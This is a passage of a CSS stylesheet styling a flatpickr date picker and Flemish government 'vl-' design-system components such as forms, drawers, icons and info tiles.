        background: #eceef1;
        border-radius: 5px 5px 0 0;
        color: #5a6171;
        fill: #5a6171;
        flex: 1;
        height: 34px;
        line-height: 1;
        overflow: hidden;
        position: relative;
        text-align: center;
        -webkit-user-select: none;
        -moz-user-select: none;
        user-select: none
      }

      .flatpickr-months .flatpickr-next-month,
      .flatpickr-months .flatpickr-prev-month {
        color: #5a6171;
        cursor: pointer;
        height: 34px;
        padding: 10px;
        position: absolute;
        -webkit-text-decoration: none;
        text-decoration: none;
        top: 0;
        z-index: 3;
        fill: #5a6171
      }

      .flatpickr-months .flatpickr-next-month.flatpickr-disabled,
      .flatpickr-months .flatpickr-prev-month.flatpickr-disabled {
        display: none
      }

      .flatpickr-months .flatpickr-next-month i,
      .flatpickr-months .flatpickr-prev-month i {
        position: relative
      }

      .flatpickr-months .flatpickr-next-month.flatpickr-prev-month,
      .flatpickr-months .flatpickr-prev-month.flatpickr-prev-month {
        left: 0
      }

      .flatpickr-months .flatpickr-next-month.flatpickr-next-month,
      .flatpickr-months .flatpickr-prev-month.flatpickr-next-month {
        right: 0
      }

      .flatpickr-months .flatpickr-next-month:hover,
      .flatpickr-months .flatpickr-prev-month:hover {
        color: #bbb
      }

      .flatpickr-months .flatpickr-next-month:hover svg,
      .flatpickr-months .flatpickr-prev-month:hover svg {
        fill: #f64747
      }

      .flatpickr-months .flatpickr-next-month svg,
      .flatpickr-months .flatpickr-prev-month svg {
        height: 14px;
        width: 14px
      }

      .flatpickr-months .flatpickr-next-month svg path,
      .flatpickr-months .flatpickr-prev-month svg path {
        transition: fill .1s;
        fill: inherit
      }

      .numInputWrapper {
        height: auto;
        position: relative
      }

      .numInputWrapper input,
      .numInputWrapper span {
        display: inline-block
      }

      .numInputWrapper input {
        width: 100%
      }

      .numInputWrapper input::-ms-clear {
        display: none
      }

      .numInputWrapper input::-webkit-inner-spin-button,
      .numInputWrapper input::-webkit-outer-spin-button {
        -webkit-appearance: none;
        margin: 0
      }

      .numInputWrapper span {
        border: 1px solid rgba(72, 72, 72, .15);
        box-sizing: border-box;
        cursor: pointer;
        height: 50%;
        line-height: 50%;
        opacity: 0;
        padding: 0 4px 0 2px;
        position: absolute;
        right: 0;
        width: 14px
      }

      .numInputWrapper span:hover {
        background: rgba(0, 0, 0, .1)
      }

      .numInputWrapper span:active {
        background: rgba(0, 0, 0, .2)
      }

      .numInputWrapper span:after {
        content: "";
        display: block;
        position: absolute
      }

      .numInputWrapper span.arrowUp {
        border-bottom: 0;
        top: 0
      }

      .numInputWrapper span.arrowUp:after {
        border-bottom: 4px solid rgba(72, 72, 72, .6);
        border-left: 4px solid transparent;
        border-right: 4px solid transparent;
        top: 26%
      }

      .numInputWrapper span.arrowDown {
        top: 50%
      }

      .numInputWrapper span.arrowDown:after {
        border-left: 4px solid transparent;
        border-right: 4px solid transparent;
        border-top: 4px solid rgba(72, 72, 72, .6);
        top: 40%
      }

      .numInputWrapper span svg {
        height: auto;
        width: inherit
      }

      .numInputWrapper span svg path {
        fill: rgba(90, 97, 113, .5)
      }

      .numInputWrapper:hover {
        background: rgba(0, 0, 0, .05)
      }

      .numInputWrapper:hover span {
        opacity: 1
      }

      .flatpickr-current-month {
        color: inherit;
        display: inline-block;
        font-size: 135%;
        font-weight: 300;
        height: 34px;
        left: 12.5%;
        line-height: inherit;
        line-height: 1;
        padding: 7.48px 0 0;
        position: absolute;
        text-align: center;
        transform: translateZ(0);
        width: 75%
      }

      .flatpickr-current-month span.cur-month {
        color: inherit;
        display: inline-block;
        font-family: inherit;
        font-weight: 700;
        margin-left: .5ch;
        padding: 0
      }

      .flatpickr-current-month span.cur-month:hover {
        background: rgba(0, 0, 0, .05)
      }

      .flatpickr-current-month .numInputWrapper {
        display: inline-block;
        width: 6ch;
        width: 7ch\0
      }

      .flatpickr-current-month .numInputWrapper span.arrowUp:after {
        border-bottom-color: #5a6171
      }

      .flatpickr-current-month .numInputWrapper span.arrowDown:after {
        border-top-color: #5a6171
      }

      .flatpickr-current-month input.cur-year {
        -webkit-appearance: textfield;
        -moz-appearance: textfield;
        appearance: textfield;
        background: transparent;
        border: 0;
        border-radius: 0;
        box-sizing: border-box;
        color: inherit;
        cursor: text;
        display: inline-block;
        font-family: inherit;
        font-size: inherit;
        font-weight: 300;
        height: auto;
        line-height: inherit;
        margin: 0;
        padding: 0 0 0 .5ch;
        vertical-align: baseline;
        vertical-align: initial
      }

      .flatpickr-current-month input.cur-year:focus {
        outline: 0
      }

      .flatpickr-current-month input.cur-year[disabled],
      .flatpickr-current-month input.cur-year[disabled]:hover {
        background: transparent;
        color: rgba(90, 97, 113, .5);
        font-size: 100%;
        pointer-events: none
      }

      .flatpickr-current-month .flatpickr-monthDropdown-months {
        appearance: menulist;
        -webkit-appearance: menulist;
        -moz-appearance: menulist;
        background: #eceef1;
        border: none;
        box-sizing: border-box;
        -webkit-box-sizing: border-box;
        color: inherit;
        cursor: pointer;
        font-family: inherit;
        font-size: inherit;
        font-weight: 300;
        height: auto;
        line-height: inherit;
        margin: -1px 0 0;
        outline: none;
        padding: 0 0 0 .5ch;
        position: relative;
        vertical-align: baseline;
        vertical-align: initial;
        width: auto
      }

      .flatpickr-current-month .flatpickr-monthDropdown-months:active,
      .flatpickr-current-month .flatpickr-monthDropdown-months:focus {
        outline: none
      }

      .flatpickr-current-month .flatpickr-monthDropdown-months:hover {
        background: rgba(0, 0, 0, .05)
      }

      .flatpickr-current-month .flatpickr-monthDropdown-months .flatpickr-monthDropdown-month {
        background-color: #eceef1;
        outline: none;
        padding: 0
      }

      .flatpickr-weekdays {
        align-items: center;
        background: #eceef1;
        display: flex;
        height: 28px;
        overflow: hidden;
        text-align: center;
        width: 100%
      }

      .flatpickr-weekdays .flatpickr-weekdaycontainer {
        display: flex;
        flex: 1
      }

      span.flatpickr-weekday {
        background: #eceef1;
        color: #5a6171;
        cursor: default;
        display: block;
        flex: 1;
        font-size: 90%;
        font-weight: bolder;
        line-height: 1;
        margin: 0;
        text-align: center
      }

      .dayContainer,
      .flatpickr-weeks {
        padding: 1px 0 0
      }

      .flatpickr-days {
        align-items: flex-start;
        border-left: 1px solid #eceef1;
        border-right: 1px solid #eceef1;
        display: flex;
        overflow: hidden;
        position: relative;
        width: 307.875px
      }

      .flatpickr-days:focus {
        outline: 0
      }

      .dayContainer {
        box-sizing: border-box;
        display: inline-block;
        display: flex;
        flex-wrap: wrap;
        -ms-flex-wrap: wrap;
        justify-content: space-around;
        max-width: 307.875px;
        min-width: 307.875px;
        opacity: 1;
        outline: 0;
        padding: 0;
        text-align: left;
        transform: translateZ(0);
        width: 307.875px
      }

      .dayContainer+.dayContainer {
        box-shadow: -1px 0 0 #eceef1
      }

      .flatpickr-day {
        background: none;
        border: 1px solid transparent;
        border-radius: 150px;
        box-sizing: border-box;
        color: #484848;
        cursor: pointer;
        display: inline-block;
        flex-basis: 14.2857143%;
        font-weight: 400;
        height: 39px;
        justify-content: center;
        line-height: 39px;
        margin: 0;
        max-width: 39px;
        position: relative;
        text-align: center;
        width: 14.2857143%
      }

      .flatpickr-day.inRange,
      .flatpickr-day.nextMonthDay.inRange,
      .flatpickr-day.nextMonthDay.today.inRange,
      .flatpickr-day.nextMonthDay:focus,
      .flatpickr-day.nextMonthDay:hover,
      .flatpickr-day.prevMonthDay.inRange,
      .flatpickr-day.prevMonthDay.today.inRange,
      .flatpickr-day.prevMonthDay:focus,
      .flatpickr-day.prevMonthDay:hover,
      .flatpickr-day.today.inRange,
      .flatpickr-day:focus,
      .flatpickr-day:hover {
        background: #e2e2e2;
        border-color: #e2e2e2;
        cursor: pointer;
        outline: 0
      }

      .flatpickr-day.today {
        border-color: #bbb
      }

      .flatpickr-day.today:focus,
      .flatpickr-day.today:hover {
        background: #bbb;
        border-color: #bbb;
        color: #fff
      }

      .flatpickr-day.endRange,
      .flatpickr-day.endRange.inRange,
      .flatpickr-day.endRange.nextMonthDay,
      .flatpickr-day.endRange.prevMonthDay,
      .flatpickr-day.endRange:focus,
      .flatpickr-day.endRange:hover,
      .flatpickr-day.selected,
      .flatpickr-day.selected.inRange,
      .flatpickr-day.selected.nextMonthDay,
      .flatpickr-day.selected.prevMonthDay,
      .flatpickr-day.selected:focus,
      .flatpickr-day.selected:hover,
      .flatpickr-day.startRange,
      .flatpickr-day.startRange.inRange,
      .flatpickr-day.startRange.nextMonthDay,
      .flatpickr-day.startRange.prevMonthDay,
      .flatpickr-day.startRange:focus,
      .flatpickr-day.startRange:hover {
        background: #ff5a5f;
        border-color: #ff5a5f;
        box-shadow: none;
        color: #fff
      }

      .flatpickr-day.endRange.startRange,
      .flatpickr-day.selected.startRange,
      .flatpickr-day.startRange.startRange {
        border-radius: 50px 0 0 50px
      }

      .flatpickr-day.endRange.endRange,
      .flatpickr-day.selected.endRange,
      .flatpickr-day.startRange.endRange {
        border-radius: 0 50px 50px 0
      }

      .flatpickr-day.endRange.startRange+.endRange:not(:nth-child(7n+1)),
      .flatpickr-day.selected.startRange+.endRange:not(:nth-child(7n+1)),
      .flatpickr-day.startRange.startRange+.endRange:not(:nth-child(7n+1)) {
        box-shadow: -10px 0 0 #ff5a5f
      }

      .flatpickr-day.endRange.startRange.endRange,
      .flatpickr-day.selected.startRange.endRange,
      .flatpickr-day.startRange.startRange.endRange {
        border-radius: 50px
      }

      .flatpickr-day.inRange {
        border-radius: 0;
        box-shadow: -5px 0 0 #e2e2e2, 5px 0 0 #e2e2e2
      }

      .flatpickr-day.flatpickr-disabled,
      .flatpickr-day.flatpickr-disabled:hover,
      .flatpickr-day.nextMonthDay,
      .flatpickr-day.notAllowed,
      .flatpickr-day.notAllowed.nextMonthDay,
      .flatpickr-day.notAllowed.prevMonthDay,
      .flatpickr-day.prevMonthDay {
        background: transparent;
        border-color: transparent;
        color: rgba(72, 72, 72, .3);
        cursor: default
      }

      .flatpickr-day.flatpickr-disabled,
      .flatpickr-day.flatpickr-disabled:hover {
        color: rgba(72, 72, 72, .1);
        cursor: not-allowed
      }

      .flatpickr-day.week.selected {
        border-radius: 0;
        box-shadow: -5px 0 0 #ff5a5f, 5px 0 0 #ff5a5f
      }

      .flatpickr-day.hidden {
        visibility: hidden
      }

      .rangeMode .flatpickr-day {
        margin-top: 1px
      }

      .flatpickr-weekwrapper {
        float: left
      }

      .flatpickr-weekwrapper .flatpickr-weeks {
        border-left: 1px solid #eceef1;
        padding: 0 12px
      }

      .flatpickr-weekwrapper .flatpickr-weekday {
        float: none;
        line-height: 28px;
        width: 100%
      }

      .flatpickr-weekwrapper span.flatpickr-day,
      .flatpickr-weekwrapper span.flatpickr-day:hover {
        background: transparent;
        border: none;
        color: rgba(72, 72, 72, .3);
        cursor: default;
        display: block;
        max-width: none;
        width: 100%
      }

      .flatpickr-innerContainer {
        background: #fff;
        border-bottom: 1px solid #eceef1;
        box-sizing: border-box;
        display: block;
        display: flex;
        overflow: hidden
      }

      .flatpickr-rContainer {
        box-sizing: border-box;
        display: inline-block;
        padding: 0
      }

      .flatpickr-time {
        background: #fff;
        border-radius: 0 0 5px 5px;
        box-sizing: border-box;
        display: block;
        display: flex;
        height: 0;
        line-height: 40px;
        max-height: 40px;
        outline: 0;
        overflow: hidden;
        text-align: center
      }

      .flatpickr-time:after {
        clear: both;
        content: "";
        display: table
      }

      .flatpickr-time .numInputWrapper {
        flex: 1;
        float: left;
        height: 40px;
        width: 40%
      }

      .flatpickr-time .numInputWrapper span.arrowUp:after {
        border-bottom-color: #484848
      }

      .flatpickr-time .numInputWrapper span.arrowDown:after {
        border-top-color: #484848
      }

      .flatpickr-time.hasSeconds .numInputWrapper {
        width: 26%
      }

      .flatpickr-time.time24hr .numInputWrapper {
        width: 49%
      }

      .flatpickr-time input {
        -webkit-appearance: textfield;
        -moz-appearance: textfield;
        appearance: textfield;
        background: transparent;
        border: 0;
        border-radius: 0;
        box-shadow: none;
        box-sizing: border-box;
        color: #484848;
        font-size: 14px;
        height: inherit;
        line-height: inherit;
        margin: 0;
        padding: 0;
        position: relative;
        text-align: center
      }

      .flatpickr-time input.flatpickr-hour {
        font-weight: 700
      }

      .flatpickr-time input.flatpickr-minute,
      .flatpickr-time input.flatpickr-second {
        font-weight: 400
      }

      .flatpickr-time input:focus {
        border: 0;
        outline: 0
      }

      .flatpickr-time .flatpickr-am-pm,
      .flatpickr-time .flatpickr-time-separator {
        align-self: center;
        color: #484848;
        float: left;
        font-weight: 700;
        height: inherit;
        line-height: inherit;
        -webkit-user-select: none;
        -moz-user-select: none;
        user-select: none;
        width: 2%
      }

      .flatpickr-time .flatpickr-am-pm {
        cursor: pointer;
        font-weight: 400;
        outline: 0;
        text-align: center;
        width: 18%
      }

      .flatpickr-time .flatpickr-am-pm:focus,
      .flatpickr-time .flatpickr-am-pm:hover,
      .flatpickr-time input:focus,
      .flatpickr-time input:hover {
        background: #eaeaea
      }

      .flatpickr-input[readonly] {
        cursor: pointer
      }

      @keyframes fpFadeInDown {
        0% {
          opacity: 0;
          transform: translate3d(0, -20px, 0)
        }

        to {
          opacity: 1;
          transform: translateZ(0)
        }
      }

      span.flatpickr-day.selected {
        font-weight: 700
      }

      .flatpickr-calendar {
        background: #fff;
        border: .1rem solid #8695a8;
        border-radius: .3rem;
        box-shadow: none;
        margin-top: .5rem
      }

      .flatpickr-calendar.arrowBottom:after,
      .flatpickr-calendar.arrowBottom:before,
      .flatpickr-calendar.arrowTop:after,
      .flatpickr-calendar.arrowTop:before {
        display: none
      }

      .flatpickr-calendar .numInput[type=number],
      .flatpickr-calendar input[type=number] {
        -moz-appearance: textfield
      }

      .flatpickr-calendar .numInput[type=number]::-webkit-inner-spin-button,
      .flatpickr-calendar .numInput[type=number]::-webkit-outer-spin-button,
      .flatpickr-calendar input[type=number]::-webkit-inner-spin-button,
      .flatpickr-calendar input[type=number]::-webkit-outer-spin-button {
        -webkit-appearance: none;
        margin: 0
      }

      .flatpickr-innerContainer {
        border-bottom: 0
      }

      .flatpickr-days {
        border: 0;
        margin-bottom: 1.5rem
      }

      .dayContainer {
        padding: 0 1.5rem
      }

      .flatpickr-day {
        font-size: 1.6rem;
        height: 3rem;
        line-height: 3rem;
        margin: .45rem;
        max-width: 3rem
      }

      .flatpickr-day.today {
        border: 0
      }

      .flatpickr-calendar.mark-today .flatpickr-day.today:not(.selected) {
        background: #f4f4f4
      }

      .flatpickr-day.nextMonthDay,
      .flatpickr-day.prevMonthDay {
        color: #80807d
      }

      .flatpickr-day.inRange.today {
        background-color: #05c;
        font-weight: 500
      }

      .flatpickr-day.inRange.today:after {
        right: 1.6rem;
        top: 0
      }

      .flatpickr-day.endRange,
      .flatpickr-day.endRange.nextMonthDay,
      .flatpickr-day.endRange.prevMonthDay,
      .flatpickr-day.selected,
      .flatpickr-day.selected.nextMonthDay,
      .flatpickr-day.selected.prevMonthDay,
      .flatpickr-day.startRange,
      .flatpickr-day.startRange.nextMonthDay,
      .flatpickr-day.startRange.prevMonthDay {
        background-color: #05c;
        border-color: #05c
      }

      .flatpickr-day.endRange.inRange,
      .flatpickr-day.endRange.selected,
      .flatpickr-day.selected.inRange,
      .flatpickr-day.selected.selected,
      .flatpickr-day.startRange.inRange,
      .flatpickr-day.startRange.selected {
        background: #05c;
        border-color: #05c;
        border-radius: 50%;
        color: #fff;
        font-weight: 500
      }

      .flatpickr-day.endRange:after,
      .flatpickr-day.selected:after,
      .flatpickr-day.startRange:after {
        background: #80aae6;
        content: "";
        display: block;
        height: 3rem;
        position: absolute;
        top: -.1rem;
        width: 3rem;
        z-index: -1
      }

      .flatpickr-day.startRange:after {
        left: 1.5rem
      }

      .flatpickr-day.endRange:after {
        right: 1.5rem
      }

      .flatpickr-day:not(.inRange)+.flatpickr-day.selected:not(.startRange):after {
        display: none
      }

      .flatpickr-day.endRange.startRange+.endRange,
      .flatpickr-day.startRange.startRange+.endRange {
        box-shadow: none
      }

      .flatpickr-day.inRange,
      .flatpickr-day.nextMonthDay.inRange,
      .flatpickr-day.prevMonthDay.inRange {
        background: #80aae6;
        border-color: #80aae6;
        box-shadow: -5px 0 0 #80aae6, 5px 0 0 #80aae6
      }

      .flatpickr-day.inRange.endRange,
      .flatpickr-day.inRange.startRange,
      .flatpickr-day.nextMonthDay.inRange.endRange,
      .flatpickr-day.nextMonthDay.inRange.startRange,
      .flatpickr-day.prevMonthDay.inRange.endRange,
      .flatpickr-day.prevMonthDay.inRange.startRange {
        box-shadow: none
      }

      .flatpickr-day:focus,
      .flatpickr-day:hover {
        background: #e6eefa !important;
        border-color: transparent !important;
        color: #333332 !important;
        font-weight: 400
      }

      .flatpickr-day.endRange.startRange+.endRange:not(:nth-child(7n+1)),
      .flatpickr-day.selected.startRange+.endRange:not(:nth-child(7n+1)),
      .flatpickr-day.startRange.startRange+.endRange:not(:nth-child(7n+1)) {
        box-shadow: -10px 0 0 #80aae6
      }

      .flatpickr-day.flatpickr-disabled:before {
        border-top: 1px solid #80807d;
        content: "";
        left: 0;
        position: absolute;
        right: 0;
        top: 50%;
        transform: translateY(-50%) rotate(-45deg)
      }

      .flatpickr-day.flatpickr-disabled:not(.nextMonthDay):not(.prevMonthDay) {
        color: #6a7686
      }

      .flatpickr-day.flatpickr-disabled:not(.nextMonthDay):not(.prevMonthDay):before {
        border-color: #6a7686
      }

      .flatpickr-months {
        position: relative
      }

      .flatpickr-months .flatpickr-month {
        background: 0;
        border-bottom: 1px solid #cbd2da;
        border-radius: 0;
        height: 5.5rem
      }

      .flatpickr-weekdays {
        background: 0;
        padding: 2rem 1.5rem
      }

      .flatpickr-weekdays span.flatpickr-weekday {
        background: 0;
        color: inherit;
        font-size: 100%
      }

      .flatpickr-current-month {
        color: #333332;
        font-size: 125%;
        left: 0;
        line-height: 3rem;
        padding-top: 0;
        position: relative;
        right: 0;
        top: 50%;
        transform: translateY(-50%)
      }

      .flatpickr-current-month .flatpickr-monthDropdown-months {
        -webkit-appearance: none;
        -moz-appearance: none;
        appearance: none;
        background: transparent;
        border: 0;
        border-radius: 0;
        color: #05c;
        font-family: "Flanders Art Sans", sans-serif;
        font-family: var(--vlw-theme-base-font, "Flanders Art Sans", sans-serif);
        font-size: 1.8rem;
        font-weight: 500
      }

      .flatpickr-current-month .flatpickr-monthDropdown-months:hover {
        background: none
      }

      .flatpickr-current-month input.cur-year,
      .flatpickr-current-month span.cur-year {
        color: #05c;
        font-weight: 500
      }

      .flatpickr-months .flatpickr-next-month,
      .flatpickr-months .flatpickr-prev-month {
        border-radius: 50%;
        height: 3.5rem;
        top: 50%;
        transform: translateY(-50%);
        width: 3.5rem
      }

      .flatpickr-months .flatpickr-next-month svg,
      .flatpickr-months .flatpickr-prev-month svg {
        left: 0;
        margin: auto;
        position: absolute;
        right: 0;
        top: 50%;
        transform: translateY(-50%);
        fill: #05c;
        stroke: #05c;
        stroke-width: .15rem;
        height: 1.2rem;
        width: 1.2rem
      }

      .flatpickr-months .flatpickr-prev-month.flatpickr-prev-month {
        left: 10px
      }

      .flatpickr-months .flatpickr-next-month.flatpickr-next-month {
        right: 10px
      }

      .numInputWrapper:hover {
        background-color: transparent
      }

      .vl-datepicker .vl-datepicker__input-field {
        border-bottom-right-radius: 0;
        border-top-right-radius: 0
      }

      .vl-datepicker.validated.invalid .vl-datepicker__input-addon,
      .vl-datepicker.validated.invalid .vl-datepicker__input-field {
        background-color: #fbebec;
        border-color: #d2373c
      }

      .vl-datepicker.validated.valid .vl-datepicker__input-addon,
      .vl-datepicker.validated.valid .vl-datepicker__input-field {
        background-color: #e6f5ed;
        border-color: #009e47
      }

      .vl-description-data__label,
      .vl-description-data__subdata {
        color: #687483;
        display: block;
        font-size: 1.6rem;
        font-weight: 400;
        margin-bottom: .75rem
      }

      @media screen and (max-width:767px) {

        .vl-description-data__label,
        .vl-description-data__subdata {
          font-size: 1.4rem
        }
      }

      .vl-description-data__label {
        display: inline-flex;
        gap: .5rem
      }

      .vl-description-data__label__icon,
      .vl-description-data__label__icon.vl-icon {
        color: #687483;
        font-size: 2.2rem;
        left: 0;
        position: absolute;
        top: -.4rem
      }

      @media screen and (max-width:767px) {

        .vl-description-data__label__icon,
        .vl-description-data__label__icon.vl-icon {
          font-size: 1.8rem;
          top: -.2rem
        }
      }

      .vl-description-data__label--icon {
        padding: 0 0 0 4rem;
        position: relative
      }

      .vl-description-data__label--icon+.vl-description-data__value {
        padding: 0 0 0 4rem
      }

      @media screen and (max-width:767px) {

        .vl-description-data__label--icon,
        .vl-description-data__label--icon+.vl-description-data__value {
          padding: 0 0 0 3rem
        }
      }

      .vl-description-data__label--icon--top {
        padding: 5rem 0 0
      }

      .vl-description-data__label--icon--top .vl-description-data__label__icon {
        font-size: 3.2rem
      }

      .vl-description-data__label--icon--top+.vl-description-data__value {
        padding: 0
      }

      .vl-description-data__label+.vl-description-data__value>.vl-description-data__subdata {
        color: inherit;
        font-size: inherit;
        margin-top: 0
      }

      .vl-description-data__subdata {
        margin-bottom: 0;
        margin-top: .5rem
      }

      .vl-description-data__data,
      .vl-description-data__value {
        color: #333332;
        display: block;
        font-size: 1.8rem
      }

      @media screen and (max-width:767px) {

        .vl-description-data__data,
        .vl-description-data__value {
          font-size: 1.6rem
        }
      }

      .vl-description-data--bordered {
        padding: 3rem 0
      }

      .vl-description-data--bordered,
      .vl-description-data--bordered:after {
        background: url("") repeat-x;
        background-size: 6px 6px;
        border: 0;
        min-height: 6px
      }

      .vl-description-data--bordered:after {
        background-position: bottom;
        content: "";
        display: block;
        height: 3rem;
        width: 100%
      }

      .vl-drawer {
        background-color: #f7f9fc;
        border: 1px solid #cfd5dd;
        display: none;
        outline: none;
        padding: 3rem 0;
        position: relative
      }

      .vl-drawer.js-vl-drawer--visible {
        display: block;
        margin-top: 3rem
      }

      @media screen and (max-width:767px) {
        .vl-drawer {
          padding: 3rem 0
        }
      }

      .vl-drawer__close {
        -webkit-appearance: none;
        -moz-appearance: none;
        appearance: none;
        border: 0;
        font-size: 1.6rem;
        overflow: hidden;
        position: absolute;
        right: 1rem;
        top: 1rem;
        z-index: 1
      }

      .vl-drawer__close[class*=vl-link--icon] {
        position: absolute
      }

      .vl-drawer .js-vl-drawer__tip {
        border: 0 solid transparent;
        border-bottom-color: #f7f9fc;
        border-width: 0 1rem 1rem;
        left: 50%;
        margin-left: -1rem;
        outline: none;
        position: absolute;
        top: -1rem;
        transition: left .3s ease-out;
        z-index: 2
      }

      .vl-drawer .js-vl-drawer__tip:focus {
        outline: none
      }

      .vl-drawer .js-vl-drawer__tip:before {
        border: 0 solid transparent;
        border-bottom-color: #cfd5dd;
        border-width: 0 1rem 1rem;
        content: "";
        left: 50%;
        margin-left: -1rem;
        margin-top: -.1rem;
        outline: none;
        position: absolute;
        z-index: 1
      }

      .vl-drawer .js-vl-drawer__tip:before:focus {
        outline: none
      }

      .vl-drawer .js-vl-drawer__tip:after {
        border: 0 solid transparent;
        border-bottom-color: #f7f9fc;
        border-width: 0 1rem 1rem;
        content: "";
        left: 50%;
        margin-left: -1rem;
        outline: none;
        position: absolute;
        z-index: 2
      }

      .vl-drawer .js-vl-drawer__tip:after:focus {
        outline: none
      }

      .vl-drawer.vl-drawer--full-width {
        left: 50%;
        margin-left: -50vw;
        margin-right: -50vw;
        position: relative;
        right: 50%;
        width: 100vw
      }

      .vl-drawer__content {
        display: none
      }

      .vl-drawer__content.js-vl-drawer__content--visible {
        display: block
      }

      .js-vl-drawer-active-item.js-vl-drawer-active-item-has-tip:after {
        border: 0 solid transparent;
        border-bottom-color: #f7f9fc;
        border-width: 0 1rem 1rem;
        content: "";
        display: block;
        left: 50%;
        margin-left: -1rem;
        outline: none;
        position: absolute
      }

      .js-vl-drawer-active-item.js-vl-drawer-active-item-has-tip:after:focus {
        outline: none
      }

      .vl-form__label {
        color: #333332;
        display: inline-block;
        font-size: 1.6rem;
        font-weight: 500;
        line-height: 1;
        margin-bottom: .7rem;
        margin-right: .5rem
      }

      @media screen and (max-width:767px) {
        .vl-form__label {
          font-size: 1.6rem
        }
      }

      .vl-form__label--block {
        display: block;
        margin-bottom: .7rem;
        margin-right: 0
      }

      .vl-form__label--offset {
        margin-top: 1rem
      }

      .vl-form__label--light {
        color: #687483
      }

      .vl-form__label__message {
        color: #687483;
        font-size: 1.4rem;
        font-weight: 400;
        line-height: 2rem
      }

      .vl-form__label--standalone {
        margin-bottom: 0
      }

      .vl-form__error,
      .vl-form__success {
        color: #333332;
        color: #d2373c;
        font-size: 1.6rem;
        font-size: 1.4rem;
        font-weight: 500;
        margin-bottom: .5rem
      }

      @media screen and (max-width:767px) {

        .vl-form__error,
        .vl-form__success {
          font-size: 1.6rem
        }
      }

      .vl-form__error--block,
      .vl-form__success--block {
        display: block
      }

      .vl-form__error .vl-vi,
      .vl-form__success .vl-vi {
        font-size: .8rem;
        margin-left: .5rem
      }

      .vl-form__error {
        color: #d2373c
      }

      .vl-form__success {
        color: #007a37
      }

      .vl-form__annotation {
        color: #333332;
        font-size: 1.6rem;
        font-size: 1.4rem;
        font-weight: 500;
        font-weight: 400;
        line-height: 2rem
      }

      @media screen and (max-width:767px) {
        .vl-form__annotation {
          font-size: 1.6rem;
          font-size: 1.3rem
        }
      }

      .vl-form__annotation--block {
        display: block
      }

      .vl-form {
        font-size: 1.6rem
      }

      @media screen and (max-width:767px) {
        .vl-form {
          font-size: 1.6rem
        }
      }

      .vl-form__group {
        background-color: #f7f9fc;
        margin: 2rem 0 0;
        padding: 2rem 1.5rem
      }

      @media screen and (max-width:767px) {
        .vl-form__group {
          padding: 1.5rem 1rem
        }

        .vl-form__group--mobile-full-width {
          left: 50%;
          margin-left: -50vw;
          margin-right: -50vw;
          padding-left: 3%;
          padding-right: 3%;
          position: relative;
          right: 50%;
          width: 100vw
        }
      }

      .vl-form__row+.vl-form__row {
        margin-top: 1.5rem
      }

      @media screen and (max-width:767px) {
        .vl-form__row .vl-form__row__group+.vl-form__row__group {
          margin-top: 1.5rem
        }
      }

      .vl-form__row--addon {
        display: flex;
        flex-direction: row
      }

      .vl-form__row--addon .vl-form__addon {
        flex-grow: 0
      }

      .vl-form__row--inline {
        display: flex;
        margin-left: -3rem
      }

      .vl-form__row--inline:after,
      .vl-form__row--inline:before {
        content: "";
        display: table
      }

      .vl-form__row--inline:after {
        clear: both
      }

      @media screen and (max-width:767px) {
        .vl-form__row--inline {
          display: block;
          margin-left: -1.5rem
        }
      }

      .vl-form__row--inline .vl-form__label {
        flex-basis: 25%;
        float: left;
        max-width: 25%;
        min-width: 25%;
        overflow: hidden;
        padding-left: 3rem;
        padding-top: .4rem;
        text-overflow: ellipsis;
        width: 25%
      }

      @media screen and (max-width:767px) {
        .vl-form__row--inline .vl-form__label {
          display: block;
          max-width: none;
          padding-left: 1.5rem;
          width: auto
        }
      }

      .vl-form__row--inline .vl-form__input {
        float: right;
        margin-left: 3rem;
        width: 75%
      }

      @media screen and (max-width:767px) {
        .vl-form__row--inline .vl-form__input {
          margin-left: 1.5rem;
          width: auto
        }
      }

      .vl-form__row--inline .vl-form__input .vl-checkbox,
      .vl-form__row--inline .vl-form__input .vl-radio,
      .vl-form__row--inline .vl-form__input input[type=file] {
        margin-top: .6rem
      }

      @media screen and (max-width:767px) {

        .vl-form__row--inline .vl-form__input,
        .vl-form__row--inline .vl-form__label {
          float: none;
          width: auto
        }
      }

      .vl-icon-wrapper {
        display: flex
      }

      .vl-icon-wrapper .vl-icon {
        display: inline-block
      }

      .vl-icon {
        color: inherit;
        display: inline;
        font-size: 1em
      }

      .vl-icon svg {
        height: 1em;
        width: auto;
        fill: currentColor;
        display: inline-block;
        font-size: inherit;
        overflow: visible;
        vertical-align: middle
      }

      .vl-icon--small {
        font-size: .8em
      }

      .vl-icon--small svg {
        height: .8em;
        width: auto
      }

      .vl-icon--large {
        font-size: 1.2em
      }

      .vl-icon--large svg {
        height: 1.2em;
        width: auto
      }

      .vl-icon--light {
        color: #687483
      }

      .vl-icon--before {
        margin-right: .5em
      }

      .vl-icon--after {
        margin-left: .5em
      }

      .vl-icon--inline-svg:before {
        display: none
      }

      .vl-icon-list__item {
        align-items: center;
        display: flex;
        margin-bottom: 1rem;
        padding-left: 3rem;
        position: relative
      }

      .vl-icon-list__item .vl-vi {
        font-size: 2rem;
        left: 0;
        position: absolute
      }

      .vl-icon-list--small .vl-icon-list__item {
        font-size: 1.6rem
      }

      .vl-icon-list--small .vl-icon-list__item .vl-vi {
        font-size: 1.8rem
      }

      .vl-icon-list--xsmall .vl-icon-list__item {
        font-size: 1.4rem;
        padding-left: 2.5rem
      }

      .vl-icon-list--xsmall .vl-icon-list__item .vl-vi {
        font-size: 1.6rem
      }

      .vl-info-tile {
        border: 1px solid #cbd2da;
        display: block;
        padding: 1.7rem;
        position: relative
      }

      @media screen and (max-width:767px) {
        .vl-info-tile {
          padding: 1rem
        }
      }

      .vl-info-tile--alt {
        background-color: #f7f9fc
      }

      .vl-info-tile--clickable {
        -webkit-appearance: none;
        -moz-appearance: none;
        appearance: none;
        border-radius: 0;
        color: #05c;
        color: var(--vl-theme-action-color, #05c);
        cursor: pointer;
        text-align: left
      }

      .vl-info-tile--clickable:focus,
      .vl-info-tile--clickable:hover {
        background-color: #f7f9fc;
        color: #004ab3;
        color: var(--vl-theme-action-hover-color, #004ab3)
      }

      .vl-info-tile--clickable:focus .vl-info-tile__header__title,
      .vl-info-tile--clickable:hover .vl-info-tile__header__title {
        -webkit-text-decoration: underline;
        text-decoration: underline
      }

      .vl-info-tile--clickable.vl-info-tile--date .vl-info-tile__date,
      .vl-info-tile--clickable:focus.vl-info-tile--date .vl-info-tile__date,
      .vl-info-tile--clickable:hover.vl-info-tile--date .vl-info-tile__date {
        background: var(--vl-theme-action-hover-color, #004ab3)
      }

      .vl-info-tile--m {
